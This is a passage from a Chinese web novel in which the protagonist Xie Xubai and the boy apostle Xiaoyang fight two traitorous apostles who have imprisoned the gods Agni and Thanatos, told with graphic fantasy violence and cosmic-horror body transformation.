羊绒中金线如针,翻飞交织,速度快到人眼无法捕捉具体的影像,恍惚间宛若看见流星乍现。 十几只毒虫尚未反应过来,就被一下贯穿脑袋,连根拔起,尾部毒刺带出一长串留在皮肤下的秽物! 在不伤及羔羊神祇毛发的前提下,谢叙白很快就将这些毒虫一点点拔除清理。末了,还不忘用金光填补被啃噬的坑洞,剔除残留的污染物,污黑发脓的皮肤一点点在金光的治疗下恢复健康的肉粉色泽。 做完这一切,谢叙白大大地松了一口气。触手伸长,为青年扶去额头上的汗水。 羔羊神祇全程表现得温顺无害,一动不动地任由谢叙白的动作。 唯有两边小耳朵呼啦啦兴奋扑扇个不停,真实地暴露出祂不用再遭受毒虫啃噬的开心。 当最后的创伤也被谢叙白妥善处理后,雪团子更是忍不住弯起眼睛,在对方的掌心下疯狂蹭蹭,又贴着他的手臂脸颊兴高采烈地蹿前蹿后,飘来荡去。 感受到祂的开心,谢叙白也不由自主地笑了起来。 要不是他已经跨越瓶颈,迈入80%的新一层境界,并且恢复了大部分轮回时期的记忆,恐怕还收拾不了这些污染物质。 最后便是为羔羊神祇打理毛发。 谢叙白能感知到这些白羊绒蕴含着恐怖的能量波动,但或许是毛的主人已经熟悉他,打理起来异常轻松。 谢叙白秉持着清理毒虫时的认真,梳绒时动作轻而平稳,贴近皮肤则加快速度,让力量均匀分布。 金光适时滋润修补干燥分叉的毛发,瞬间如同蒙上一层光泽,变得比之前还要柔顺蓬松数倍。 清理结束后,雪团子蹦来跳去蹿得更快了,浑身像是散发着闪亮特效小花花那般欢欣雀跃。 打旋冲回来蹭谢叙白的时候差点没刹住脚,将人给顶飞出去。 男孩小羊为自家神祇高兴,情不自禁地弯了下眼睛,对谢叙白说:“现在你不用担心之后和老五起冲突了,有了吾神的赐福,你就能无障碍使用我的能力【沉默的羊群】。” “但这一技能不属于正神体系,也不是你的天赋技能,用多了可能会对身体产生难以逆转的副作用,所以最好斟酌使用。” 谢叙白和小羊对视,从男孩的眼神总看出对方欲要镇守十一层的决心,终究没有追问对方要不要跟自己一起走,反手拿出刚才用精神力凝结出来的那把毛刷,交给对方。 “我可用不了这个……”小羊刚要拒绝,羔羊神祇就两眼发光地扑了过来。 祂用两只短胖蹄子紧紧地抱住毛刷,在男孩眼前上摇下晃,豆豆眼弯得只剩两条缝,喜爱之情溢于言表。 小羊把话咽回去,悻悻地摸了摸鼻子,对谢叙白说:“谢谢。” 随后,他将特别邀请函往半空一丢,邀请函化为光点灌入通道内部。 往上登塔的光柱底端气浪翻滚,能量力场顷刻间分解重构,唰唰两下波动荡开,如同飓风掠过,吹得众人头发纷飞,眯起眼睛。 不一会儿,新的通道展现在他们眼前。 小羊站在原地目送人群离开。 眼见white的身影即将消失在光柱里,男孩猛然张嘴,似乎迫切地想要问点什么,又在下一秒缓缓抿紧。 * 不知过了多久,嘈嘈杂杂的脚步声在十一层的通道口响起,几十个身穿轻便型伪装服的神秘人快步进入,接连露相,脸上统一戴着面具。 为首的蒙面人反手从风衣下拿出一封特别邀请函,上面竟然盖着黑塔王族的印章,可以直达二十一层! 他和另一人本来直奔光柱而去,直至看见守在通道正中央的男孩,还有他旁边熊熊燃烧的地狱门时,脚步猛然刹停。 小羊将毛刷放进空间袋,又把空间袋挂在衣衫内衬,望向这群不速之客,不咸不淡地说:“看见我很意外吗?老十,老九。” 称呼出来的一瞬间,两人的眼神骤然微变,空气在小羊没有丝毫温度的眼神中静得针落可闻。 半晌,他们取下面具。 一个红发棕瞳,一个黑发绿瞳,似笑非笑地看向男孩,用熟稔亲切的语气问候道:“好久不见,小羊。” 他们点出男孩变成守关BOSS不能离开的困境:“没想到公会解体后你的处境变得那么糟糕,其他使徒没有和你一起吗?” 红发男友好体贴地嘘寒问暖:“需不需要老朋友的帮助?我们的队伍里有人拿到了公民身份,可以顶替BOSS的位置,救你脱离苦海。” 话没说完就被小羊面无表情地打断了:“不需要。闯关条件很简单,排队进门,顺利通过者予以放行。” “别开玩笑了,小子!”黑发男咧咧嘴角,“你的真实之门取自地狱火,会直接烧灼灵魂,几秒将人烧成炭渣,半神以下谁能扛得住?” 小羊说:“放心,我给真实之门重新设定了攻击条件,只要灵魂没有被打上系统的奴役烙印,就不会引火上身。” 说着,他的指尖在自己和门之间虚空一划,似乎斩断什么纽带,让真实之门可以独立运行。 似乎也因为这一举动,门上燃烧的火焰忽然成倍涨大,颜色越来越深,变成幽深的黑紫色。 高温炙烤地板,空气扭曲变异,合金墙面如雪融化! 吱嘎咔嚓—— 门上的羊角恶魔鼓起虬劲的肌肉,体格随火焰的升腾迅速膨胀。 原本只有一扇半的门高,现在居然直接顶到天花板,双臂一张,犹如壁垒占据半个通道,张嘴发出凶狠的咆哮! “吼——!” 威压荡开,通道地板一阵剧烈颤动,天花板裂开口子,灰尘淅淅沥沥地往下掉。 在场众人纷纷变了脸色,红发男的神情更是狰狞。 他发现羊角恶魔猩红血瞳四下横扫,不仅对他们虎视眈眈,同样也在冰冷地审视着小羊,心下骇然,不由得咬牙切齿:“你这是什么意思?非要做到这种地步?” 被解开限制的真实之门,会无差别攻击所有没能通过身份验证的人,包括主人小羊。 这就代表,如果小羊反水或是被系统精神操控,真实之门也会毫不犹豫地解决掉他!同时它拥有自主意识,哪怕主人小羊灵魂消散,也不会关闭。 这个过程中,真实之门将不断吸收空气中的能量,逐渐成长为完全体。 特别在小羊死去之后,它会自发吞噬主人溢散的神力和尸体,破格直接晋升为完全体,并锁定杀害主人的凶手,展开疯狂追杀,不死不休! 毫无疑问这是赌命!是死战! 男孩仿佛在用行动向他们表明,哪怕豁出性命,他也绝不放人。 熊熊火焰将男孩包裹,宛若他在火海中燃烧生命。小羊看向勃然大怒的红发男,眼中流露出淡淡的嘲讽:“这种地步?我倒要问问你们为什么要做到这种地步!” “是无限游戏害得大家不够苦吗?是被系统折磨得还不够惨吗?!” 小羊眼神冰冷地盯着红发男和黑发男:“还是说你们两个已经忘记了,曾经系统为了击垮我们的意志,当众折磨——” “我没忘!!” 红发男像是被戳中痛楚,瞳孔爬满红血丝,歇斯底里地怒吼:“所以我们拼了命一次又一次地重来!但是结果呢?除了失败和死亡,我们到底获得了什么? 希望在哪里?未来在哪里?white说的胜利又在哪里?!你说啊!” “我知道上一世white一定是做过什么才能改变现在的局面,但是有区别吗? 这一世系统说什么【10】次连续首通就能赢下无限游戏,可我们通关了多少个【10】次?游戏结束了吗?!” 长久以来,所有玩家都很不理解,为什么那些神级玩家强到能够碾压S级诡王副本,却在闯关中途纷纷隐退消失,不惜断掉首通次数。 他们一度怒不可遏,痛恨、咒骂神级玩家的不作为。 却不知道神级玩家比他们还要绝望。 只因每次一有人达成记录【10】,无限游戏就会重启再来,除去有神力赐福庇护的玩家以外,所有人记忆清空。 “首通【10】次就能通关游戏”是系统的谎言! 他们并非消极怠惰,而是只有拖着,才不会让绝望的局面一次次重演。 “认清现实吧小羊,联合会失算了,white失算了,敌人根本不可战胜,从始至终它都将我们所有人都耍得团团转!既然抵抗毫无意义,那不如归附!” 小羊沉默片刻,抬起眼:“所以依附系统,背叛人类,就是你们现在的苟活之道吗?” 听男孩说话带刺,两人表情微变。 小羊:“麻痹自己,抛弃良知道德对自己人下毒手,相信给侵略者当走狗就能得到一个好下场的你们,会比我们这些看不到希望的人更可喜吗?” 他冷笑一声:“别给自己的卑劣无耻找理由了,你们只是一群不敢面对现实的懦夫而已。” 第239章 成神进度:84% 伴随着男孩铿锵有力的诘问,双方重逢时的虚情假意,连带着以往无数次轮回中建立起来的生死情义和肝胆相照,似乎都在此刻轰然破碎。 两人目光陡然暗沉,沉默地盯着小羊,良久说道:“本来看在以往的交情上还想放你一马,既然你非要这么固执,那就没什么好说的了。” “让其他人都出来吧,white是不是也和你在一起?” 没有人出现。 真实之门的火焰噼啪作响,与羊角恶魔粗重的喘息交织起伏,除此之外听不到其他声响。 两人警惕地散出识念,却没有检测到一丝额外的能量波动,顿感无比惊异。 就算隐藏在暗处的人强到能避开他们的探察,现在已经撕破脸皮了,还有什么隐藏的必要? 难道说……小羊没有找来任何帮手? 这一猜测更让他们觉得荒谬:“你该不会以为,单凭自己就能拦下我们吧?” 他们朝夕与共,彼此之间不知道合作切磋过多少次,很清楚各自的弱点。 特别是第十二使徒,他的能力有个致命的限制,那就是会受到敌我的实力差距和作用对象数量的严重影响! 简单来说,A级的小羊可以轻松控制住一大群B级,勉强牵制住一个A级。 但要是有两个A级或是一个S级,他的能力就将大打折扣。 一旦让对手脱离束缚,达成“破窗效应”,【沉默的羊群】这一技能将会彻底失效,而男孩也将变成真正意义上的待宰羔羊。 这也是为什么小羊能力逆天,真实战力却只能在十二使徒中垫底。 两人直觉对方不会这么愚蠢大意,特别是white,他不可能留男孩一个人在这送死。 唯独没有猜到男孩真的准备孤身迎战。 当小羊冷漠地注视着他们,身上散发的威压弥漫出一丝黑暗气息的时候,他们再度色变,瞪眼震惊。 “这股神力……不对劲,为什么你的神力和以前完全不一样?!” 男孩不答,额头显出一个模糊的徽记,若隐若现地闪着黑色微光。 以他为圆心,周围凭空出现打旋的飓风,吹得黑紫色的地狱火朝下倒伏,像成片倒塌的麦浪。 迎着众人惊惧的目光,雪白的羔羊团子出现,飘在男孩身后,无声地弯了弯眼睛。 同样的动作,对谢叙白是无害温顺,是卖萌撒娇。 而对眼前的这些人,却流露着一丝似有若无的讥笑,像是在俯视一群卑贱的蝼蚁。 仅仅和羔羊神祇对上一眼,队伍中便有人眼珠子突然爆裂,捂住血流不断的眼窟窿发出撕心裂肺的惨叫。 下一秒又听噗噗噗的轻响,他们的皮肤鼓起一连串的血泡,眨眼时间血泡覆盖全身,好似一个扭曲恶心的人形肉瘤,猛然间身体爆开,血肉四溅! 一眼,仅仅只是看上这么一眼,六十多人的队伍就死掉了二十多人! 红发男和黑发男心神俱震。 无论是神力中透露出来的黑暗气息,还是这诡谲残忍的死法,无不验证着传说中的那一类古老的身份——旧日支配者! 旧日支配者和外神都掌握着法则力量,是超脱单体行星,立于宇宙之间或不同时空维度的强大神灵。 不同的是,外神是存活在宇宙之外的强大神祇,以抽象无形的姿态存在,数量至今成迷,理论上无穷尽。 而旧日支配者是地球本土神祇,有着具体的形态,曾经统治地球给大地带来毁灭和绝望,直至远古时期,祂们因为某些不可说的原因被封印或驱逐至人类难以抵达的神秘领域,才就此销声匿迹。 时至今日,那些隐秘的力量仍旧影响着人类,制造出一件件惊世骇闻和都市传说。 如果能够大量契约旧日支配者,或许一开始人类的处境就不会这么艰难。 然而这是不可能的! 曾经科研组织【高塔】里有位灵感异于常人的研究人员,只是产生了类似的想法,下一秒便当众异变,身体扭曲,成为一滩血肉模糊的烂泥。 没有人能够承受住这些古老神灵扭曲混乱的意志!祂们是人类绝对忌讳接触的存在! 除去white那个离谱的家伙,能让邪神心甘情愿为他自我封禁本体,这世上居然还有第二个人能毫发无伤地契约旧日支配者? 羔羊神祇释放的神威如飓风呼啸,红发男浑身胀痛,皮肤夸嚓裂开个口子,瘙痒难耐,似乎有什么东西将要从里面挤出来,吓得他连忙支起屏障抵挡! 身边的人一个个因抵抗不住神威而异变,如同血色烟花般成串爆开,两人瞬间心惊胆战,手脚冰凉,萌生出退意。 黑发男咬牙低声喝道:“走吧,这根本没法打!” 却在这时。 噗—— 小羊突然吐了口血。 更诡异的是,那口血居然在落地时凝固成血团,活泼地弹跳起来! 红发男两人抬头,看见小羊额头冷汗直流,脸色因疼痛而扭曲,死死地捂住嘴,硬生生将冒出来的肉色触须塞回了嘴里。 这下两人恍然大悟了,小羊根本操控不了旧日支配者赐予的神力,他在强撑! 一时间他们心中喜忧参半,百感交集。 喜的是只要拖延时间,男孩就会异变成怪物,迷失自我走向死亡。 ……但忧的又是什么呢? 那只是刹那的不忍和恍惚,很快便隐没在发现转机的狂喜中! 两人前后露出神眷者徽记,但出现的却是一具巨大的钢铁黑棺,竖立起来竟然和顶到天花板的羊角恶魔不相上下! 棺材上插着数不清的荆棘长钉,横七竖八,密密麻麻,贯穿棺材延伸到另一头。钉子隐隐颤抖,好似里面关着活物。 两人抬起手,缠绕在黑棺身上的链条一下子朝四方绞紧! 所有荆棘长钉都在这无形的压力下朝内猛然一沉,半截钉子扎进去,再度重伤被关在里面的存在,棺材从内朝外剧烈震动,传出刺耳凄厉的哀鸣。 熟悉的神力波动传开,小羊愕然怒目。 那分明是古印度密教的火神阿耆尼,和古希腊神话的死神塔纳托斯! 男孩压着不适勃然怒喝:“……你们对那两位神祇做了什么?!” 系统限制神明现世,在无数未能现世的神祇意志加持助威下,才能有一位神祇,冒着神体受损的风险,顺利响应世人的呼唤。 为了援助人类,为了捍卫地球,祂们赌上自己的性命和荣誉!他们怎么可以,怎么可以……?! 彼时其他人都死得差不多了,地狱火焰噼啪作响,在两位神祇的哀嚎下不稳摇曳,像是述说着这悲哀的现状。 红发男两人听着哀嚎和小羊的质问,一言不发。 棺材里流出金色血液,顺着钉子而下,汇聚在钉子尖端,如瀑布般浇灌在两人的身上,眨眼间被他们的身体吸收。 他们的姿态出现变化,身躯等比例缓慢变大,呈现出半透明的神体,庄严神圣,威压倾轧,说话声浪如洪钟涤荡:“放弃吧小羊,只要你收回真实之门,让开道路,我们就给你一个痛快。” 小羊厌恶至极:“滚!!” 男孩决绝地低下头,抱着手臂,全身在剧痛中颤抖。 看似缓慢其实只在一瞬间,他的身体猝然胀大,不平衡的重力迫使他上身匍匐倒下,像四脚着地的野兽般撑在地上。 人类的肢体化作凹凸不平的肉块,数处地方开裂,长出满是尖牙的嘴。手脚变成短粗的蹄子,脑袋逐渐消融内凹。头发宛若枯叶般大片脱落,剩下的十几根不停生长,变成粗壮的鞭状触手。 巨大团块,鞭状触手,整体如同树桩——那正是远古传说中的黑暗子嗣,黑山羊幼崽。 吸收神祇血液,短暂获得伪神之力的红发男两人毫不犹豫地冲了上去。火神的毛发悉数掉落,落地化为火海一路延伸到幼崽的脚下。 黑山羊幼崽发出一声尖锐的爆鸣,犹如大山般冲开火焰,张口咬住死神的镰刀! 三股力量彼此冲撞,刹那间整个通道在剧烈波动中化为齑粉,三个巨大的身影破开通道屏障,赫然屹立在天地之间。 这巨大的阵仗蔓延到整个黑塔十一层。地表坍陷寸寸崩裂,太阳受击坠入海洋,掀起百米海啸,吞没周边建筑群,整个世界骤然一黑,陷入无边动荡! 死神扬起拿着镰刀的手臂,狂风大作中劈断黑山羊幼崽的触手,血液四溅。 幼崽惨叫一声,反口咬住死神的咽喉,扯出鲜血淋漓的森白骨头。 火神趁机举起双手,手掌遮天蔽日,熊熊火焰从四面八方汇聚,犹如漩涡凝聚在祂的掌心。 黑山羊幼崽见状,扭头撞向火神!后者五脏六腑倒位,狰狞面孔抓住幼崽的身体,火光冲天烧上云霄! 气温直线拔高到几千度,碎石顷刻间汽化成炭,数根鞭状触手被点燃,滋啦散出烧焦的气味。 在这场激烈的鏖战拼斗中,谁也没看一个空间口袋从烧毁的触手缝隙里掉落出来,落入火海,烧灼成灰,露出一柄金色毛刷。 火神怒眉大喝,双拳凝聚火焰,裹挟着山崩地裂之势朝着幼崽砸下! 死神捂着断掉骨头的喉咙,镰刀高举寒芒如月,劈砍幼崽的椎骨! 毛刷剧烈震动,电光火石间化作金光拔地而起,黑夜里宛若一颗璀璨的流星,直直撞上火神的重拳! 冲击波蛛网般荡开,神力差上一筹的金光倒飞出去,又在半空中以不可思议的角度折返。 黑山羊幼崽趁机撞开死神,触手潮水般涌出,缠绕祂的骨头侵蚀。 金光接踵而至,宛若箭矢留下一道残影,贯穿死神的手掌! 镰刀从死神断裂的手掌脱力掉落,祂来不及挣扎,就被触手卷入其中。 火神猝不及防朝后仰倒,勉强站稳后看着血肉模糊的手掌暴跳如雷,吼声震彻天地:“是谁?!” 下一秒,祂冷不丁看到立于半空的金光,瞳孔一缩:“whi……” 金光却毫不迟疑,裹挟着雷霆威势直冲祂的门面。 红发男化作的火神虚影,再弱也有着伪神的实力,而谢叙白尚未成神。 这一下不能破开祂的防御,只叫祂吃痛暴怒,火焰暴涨,空气烫红,一点点将金光推出去:“你还以为自己是以前那个威风凛凛的第一使徒吗?沦落为普通人重新修炼,你还能打得过谁?!” 却见金光稳若山岳,凝聚出谢叙白瘦削笔挺的身影。 他目光凛冽,垂睫恭敬呼唤:“诸神在上,请助我一臂之力,歼灭眼前的两名恶徒。” 刹那间谢叙白的灵魂深处传出一声浩荡龙啸,难以抵抗的威压山呼海啸般砸中红发男的神体! 红发男惨遭重击,噗呲一声吐出大口鲜血。 葡萄藤同时蜿蜒钻出,后者还没缓过神,就嗅到一阵清冽的酒香,意识一阵模糊,几欲昏睡,连忙甩头试图清醒,凝实的神体却不稳晃动起来。 下一秒,金光大绽,将这摇摇欲坠的法身破除! 红发男惨叫一声,神体消失,倒飞出去。 他感受到一阵危险的气息紧随而来,心惊胆战抬头,看见嘴角溢血的谢叙白面无表情地伸出手,金光凝聚掌心,按住他惊恐愕然的脸,让他无力挣脱。 两人势若流星,半空中划开一条笔直凛冽的残影,从云霄直达地表! 轰——! 碎石四溅,大地蜘蛛网般朝外开裂! 滚滚烟雾蔓延,红发男半死不活地呛咳,抬头一瞬,对上谢叙白冰冷得没有一丝温度的眼睛,肝胆俱裂:“white!饶,咳咳!饶了我,我也是——” 谢叙白眸色变成金色,与红发男对视,快言快语:“怎么解开火神的禁制?” 红发男浑身一震,眼神涣散,下意识听从他的命令开口:“只要摧毁……” 谢叙白先一步读出他的心念,不等他说完,精神力瞬间渗透进他的意识海,犹如利剑出鞘,轰然斩碎系统设下的囚神禁制! 红方男遭受反噬,痛得弓起身体,呕出血水和胆汁,脖颈青筋暴跳。 同一时间,他身后的黑色钢铁巨棺从上往下,寸寸碎开,啪的一声四分五裂,露出天幕下一道伤痕累累的神躯。 谢叙白急喘着站起身,哇的一声,也呕出大口血来! 他艰难地呼出口气,心系小羊那边的安危,正待去帮忙,陡然间半空中重伤的身躯比他更快地冲出去,唰一下伸出四臂,左手军持仙杖,右手念珠、三角印,遍身火焰。 呼啦—— 仙杖被烈焰点燃,照亮半边黑夜!只见祂眼中杀念森寒,抬起仙杖划破长空,重重砸碎了黑发男的神体! 第240章 成神进度:88% 震耳欲聋的巨响中,来不及躲闪的黑发男两眼一黑,口吐大量鲜血并伴随着神体皲裂四散,瞬缩至正常体格,在剧烈的冲击波中倒飞出去,于地上砸出偌大的深坑! 系统限制神祇不能直接出手,火神这一下毫无疑问触犯了规则。 顷刻间整个空间震颤不止,规则之力当头砸下! 仿佛被无形的巨手猛然攥在掌心,火神展开的四只手臂啪一下朝内挤成一团! 火神脸颊涨红,努力抵抗,臂膀肌肉用力到颤抖,奋力挣扎发出嘶吼,皮肉骨骼却在恐怖的力量下寸寸凹陷下去,皮肤开裂出血,关节连接处爆出令人头皮发麻的吱嘎声响! 千钧一发之际,谢叙白裹挟金光冲到火神的面前,将手贴在祂的眉心。 以他的手为圆心,金色波动涟漪般徐徐荡开,从上往下包裹住火神的身躯。 璀璨凛冽的金色神力与规则之力激烈碰撞。 冥冥中,金龙腾云驾雾,咆哮声裹挟着声浪震耳欲聋,将无形的阻碍喝碎! 葡萄藤遒劲有力地生长,蜿蜒渗透规则的缝隙。 无边的黑暗领域里,黑山羊幼崽及祂的母神抬起冰冷扭曲的目光,洞穿虚空,和躲藏其中的系统正对上眼—— 威严、霸道。 欢悦、醉迷。 扭曲、疯狂。 嘭的一声,规则之力受击溃散! 火神脱离束缚,虚弱地半跪在地,无力展露法相,气喘着身体逐渐缩小,变得和正常人类一样大。 抬头一瞬,谢叙白已经朝着黑山羊幼崽飞冲出去。 地动山摇间黑山羊幼崽发出嘶吼,抬起蹄子,正待将人事不省的黑发男踩成肉泥,突然一缕金光从身侧照在祂的脸上。 像黎明时地平线升起的第一缕晨光,温暖、耀眼,在这硝烟弥漫的寒夜里格外鲜明。 黑山羊幼崽怔愣地看过去。 和祂遮天蔽日的身体比起来,散发金光的人类青年就像大树下的一颗沙砾。 但这颗沙砾的接近,却让半空中张牙舞爪的鞭状触手都慢慢消停下来。 它们潮水般伸出去,响起兴奋渴望不成具体声响的呢喃,仿佛想要抓住那抹光亮,融入身体,拉进疯狂。 直至快要触碰上谢叙白的时候,看见青年的身体在它们的影响下,出现大小不一的红色瘢痕,猛然一顿。 丛生的触手缓慢退散,为急速前进的光芒让出一条宽阔的道路。 谢叙白冲到黑山羊幼崽的面前,抚摸祂面目全非的身躯,垂睫哑声道:“辛苦你了,接下来的事情就交给我……” 黑山羊幼崽没有眼睛,只有遍布体表的无数张嘴,利齿狰狞。 祂顺着谢叙白抚摸的力道,微微地抬起头,“仰望”那抹似曾相识的光芒,有些茫然。 谢叙白同时传递柔和的识念:“马特乌斯(波兰语),好好休息吧。” 金光氤氲扑面而来,黑山羊幼崽浑身一震,恍惚间听到耳边有声音响起。 【马特乌斯——】 有人在叫他。 那声音嘈嘈杂杂,有男有女,有老有少,听着熟悉而亲切。 男孩循着吵闹声走到窗台,推开窗户。 柔和的风吹灌进来,拂过他的头发,他撑着窗沿朝外看,双眼发光,忍不住开心地咧开嘴角。 阳光铺洒的绿草地里嬉笑不断,不远处的湖泊反射出粼粼波光。白鹳呼啦啦振翅而飞,于湛蓝的天空翱翔。 许许多多的人站定,朝他看过来,笑声愈发畅快。 【马特乌斯,快下来啊!】 …… 【你知道吗,马特乌斯是希伯来语的波兰变体,意思是上帝的礼物。】 【你就是我们的礼物。】 可是,我…… 我没能…… 一滴豆大的泪水从黑山羊幼崽的脸上滑落,重重地砸在皲裂的地面。 祂不稳摇晃,身体越来越淡,直至庞大如山的体态如幻影般消散,从中掉出一个瘦小的身影。 谢叙白冲上去将昏迷的男孩接到怀里,男孩本能般紧紧地反抱住他,在梦中哆嗦着哽咽起来,通红的眼尾一片湿意。 谢叙白的手指探向男孩乌黑一圈的眼下,轻轻擦去他的泪水:“晚安。” 回到地面,谢叙白单手抱着男孩快步来到黑发男的跟前。 后者昏迷过去,人事不省。谢叙白抬手操控精神力,如法炮制摧毁囚困死神的禁制。 只听嘭的一声巨响,黑棺四分五裂,露出死神遍体鳞伤的身躯。 火神拖着死尸般的红发男走过来,丢垃圾般丢在地上。 死神幽幽一叹,也化作正常人类的体态。 镰刀当空,反射出一阵寒光,在红发男和黑发男的身体上轻巧划过,勾出两道面露惊恐的灵魂,递到谢叙白的面前。 谢叙白伸出手,金光渗透进两人的灵魂,比渗透意识海更能全面地搜刮他们的记忆。 先不提滋味如何难捱。 忒修斯的事情给系统敲响警钟,为了防止泄露隐秘,系统在两名使徒的灵魂深处嵌入了控制他们的污染物,一旦被人从外部侵入,甚至不用摧毁,只是触及,就会立刻爆炸,直接粉碎两人的灵魂! 在谢叙白不留余力的渗透下,两道灵魂疯狂战栗,仿佛已经嗅到死亡的气息。 他们泪流满脸,嘶声尖叫求饶:“停下来white!再探查下去我们会死的,到时候你什么线索都得不到!” “放我们一马,我们可以帮你对付系统!” “white!我们曾经也是你的战友!也曾为拯救地球出过力,救过很多人!我们只是一时犯错!” 谢叙白的眼睫忽地一垂,似乎某一刻脸皮绷紧到微微颤抖,眨眼间又消弭无影。 他抬起眼,脸上没有一丝情绪波动,冷淡地说道:“刚才侵入你们意识海的时候,我就看完了你们这段时间的全部经历。” “你们并没有从系统那里得到什么有用的线索,被嵌入印记后如同提线木偶,更别提反过来对付系统。” 被一语道破谎言,两道灵魂的脸色惨白如纸。 “还有。”谢叙白声音极轻,又极冷,“就是你们两个,不,加上第十一使徒,是你们三个向系统透露公会的位置,掳走大部分成员并强迫他们和古神签订契约,进行惨无人道的黑暗实验——对吗?” 两道灵魂仿佛被谢叙白钳住咽喉,喉骨咯吱咯吱响,翻起白眼,说不出话。 “人民和史书会牢记你们过往的功绩,包括我。”谢叙白一字一顿,“同样,人民和史书也不会忘记你们背义投敌和残害同胞,包括我。” 那仿佛是法锤敲响,落下最后的宣判,金光如刀贯穿他们的灵魂,在惨叫声里直达系统留下的污染物! 触及污染物的意图当然不是摧毁,而是通过设下的禁制,与系统结成短暂的精神链接。 谁都没想到,谢叙白居然敢在没有成神的前提下,和系统缔结精神链接。 而系统,虽然深谙人性歹毒,却仍旧有着机械的惯性思维。 以至于听到谢叙白的问话:【忒修斯是否掌握着杀死你的办法?】 它没有及时反应过来,下意识回了句:【是,我现在怀疑他已经知道了无限游戏的秘密!我必须尽快结束这场试炼副本,然后除掉这个祸患!】 话一出口,系统就愣住了,继而暴跳如雷怒发冲冠歇斯底里! 【谢叙白——!】 可惜它来不及对谢叙白下手,后者得到答案的瞬间,立马解除精神链接,识念擦着系统铺天盖地的攻击,安全回位。 谢叙白摇晃两下,头晕眼花,额头冷汗直流,胃里一阵翻江倒海,差点没有吐出来。 系统本体的力量体系出自宇宙外神,如果不是有了黑山羊幼崽的赐福,产生一定抗性,或许他在接触到那庞大扭曲的数据流时,就会彻底疯狂迷失。 正是这时,火神的仙杖伸过来,拐杖般支撑起谢叙白不稳的身体,从中散发出涤净心灵的力量,很好地缓解了谢叙白的恶心头晕。 他闭眼换气,终于缓了过来,对两位神祇说:“这次酿成如此严重的恶果,是我管教不严,没能及时制止,还请二位息怒。长时间以真身现身副本,会对两位的神魂造成影响,劳二位先回去休息,等胜利后我一定负荆请罪,给二位一个交代。” 第十使徒和第九使徒都是这一世才决定叛变,那时候谢叙白还是个刚进公司的牛马实习生,于情于理都怪不到他身上。 但听他这么说,两位神灵的怒火瞬间消减不少。 事实上祂们都算不上心慈手软之辈,特别是死神,被祂带走的亡魂数不胜数。 而人类渎神的行为,放在任何一个神话传说里都必将血流成河,直至神怒得到平息,方才惨烈收场。 两位神祇无声地凝视谢叙白,虽然没有施加威压,眼神却自带无形的压迫力。 也是这时,谢叙白的灵魂深处再度传出威严震怒的龙吟! 两位神祇:“……” 在金龙不让分毫的对峙和隐约的威胁下,祂们缓缓收回视线,身体虚化,似乎将要消失。 谢叙白垂下视线,状似恭敬地目送祂们离去。 陡然间听到一声刺耳的破空声,火神的仙杖对着他的脑袋砸了下来。 谢叙白没有在火神的动作里感受到杀意,也没感受到毁天灭地的神力,是以略微抬头,不避不退,不卑不亢。 仙杖陡然在半空虚化,眨眼间变成玉白澡瓶,一滴仙露从瓷白瓶口滴出,落在他的头顶。 汹涌神力涌入意识海,谢叙白的成神进度立时从84%上升至86%! 谢叙白没想到重伤垂危的火神还会挤出神力,为他赐福。 他分外讶异,又看见死神抬起森白的骨掌,指尖虚空在他眉心轻轻一点,神力潮水般灌入。 成神进度从86%跃升至88%! 死神的笑声带着死气沉沉的诙谐:【好了狡诈的人类小子,从现在开始,你将不死不灭。】《 》 240-250 第241章 成神进度:88% …… 嘭——! 合金防护大门被人从里面硬生生撞开,紧跟着冲出来一个瘦弱的男孩。 惯性使然,他不稳地摔在地上,手肘磕红撞肿,半拉拖鞋贴着地面飞了出去。 但男孩完全顾不上去捡,踉跄慌张地撑起身,过于匆忙,脚掌打滑又摔了一次。 窸窸窣窣的涌动声在背后响起,有东西在追他,屡次碰到他的衣角。 男孩:“有人吗!有人吗!警卫!!怪物出现了!快来人啊!救救我!” 走廊上荷枪实弹的巡逻队听到动静,连忙快步朝声源赶去。 看见上气不接下气的男孩,为首的队长连忙将他护到身后。 其他人不约而同地举起枪,枪口唰唰唰对准男孩来时的通道,绷紧神经屏住呼吸,严阵以待地戒备着即将到来的危险。 然而。 什么事情都没发生。 通道口寂静得针落可闻,白炽灯将地面映照得锃亮光滑,半道影子都没出现。 半晌,巡逻队长狐疑地扭过头,询问男孩具体情况。 这时男孩终于喘匀了气,忍住慌张的颤音:“它们就出现在我的卧室,我睡觉时感觉有东西在摸我,结果一睁眼就看到了无数涌动的触须!” “力量体系似乎是宇宙外的混沌怪,我没看清楚就跑了出来,大概有两只?还是三只?……攻击我的时候拍碎了床,但是地板完好无损,说明它们的杀伤性不强……或许只是误打误撞闯进来的小兵,基地的位置应该没有暴露……” 巡逻队长立马对两名精英队员使了个眼色,架起枪在前面开路,其他人亦步亦趋地跟在身后。 可当他们抵达男孩的卧室,却什么异常都没看见。 说是被拍碎的单人床,完好无损地摆在那,地板干干净净,合金墙面没有开裂,四下也没有打斗过的痕迹。 所有巡逻队员顿时齐刷刷看向男孩,满目怀疑。 男孩不敢置信地瞪大眼睛,急切辩解:“这不可能!你们相信我,真的有怪物出现!当时防护门出故障一直打不开,我好不容易才将它撞开的!” 几名队员的表情更加古怪,无奈地问。 “但是这位小朋友,你知不知道整个基地在修建时加入了S级珍奇防御材料?单是这扇门的防御力就高达上千,想要破坏它起码得有S级的攻击力!” “退一步讲,就算你把这扇门给撞开了,为什么上面一点痕迹都没有?” 男孩回头看去,果真看见防护门完好无损,甚至找不到一道擦痕。 他心脏一咯噔,整个人都混乱了。 直觉告诉他,刚才那股毛骨悚然的危机感不可能有假,它太真实也太鲜明,但现实却和他的记忆相驳。 正是这时,巡逻队长去走廊的摄像头前调来监控,招呼男孩过去。 男孩无措地跑过去。 低下头看监控的瞬间,他的视角余光越过电子屏幕,落在脚下穿着的拖鞋上,猛然一僵。 卧室还能解释为怪物不想打草惊蛇,把它恢复了原状。 但这只掉落的拖鞋,总不可能是怪物当着这么多巡逻队员的面,悄无声息给他穿回去的吧? 滋啦。 紊乱的电流声传出,监控电子屏上开始播放男孩刚才冲出卧室的画面。 ——银白防护门缓缓打开,正常开启。 焦急奔跑的男孩一瞬间消失在通道的交叉口,然而身后空荡荡,没有任何东西追上来,静得出奇。 怎么看都是男孩在撒谎。 巡逻队长没有责怪对方的冒失,体贴关切地询问:“是不是训练压力太大了?” 男孩没有吭声,脑子混乱又迷茫。 五分钟后。 男孩被巡逻队长带到治疗室,里面有一位精神抚慰师正在值班。 从巡逻队长口中听说完男孩的情况,精神抚慰师立马露出怜爱的神情。 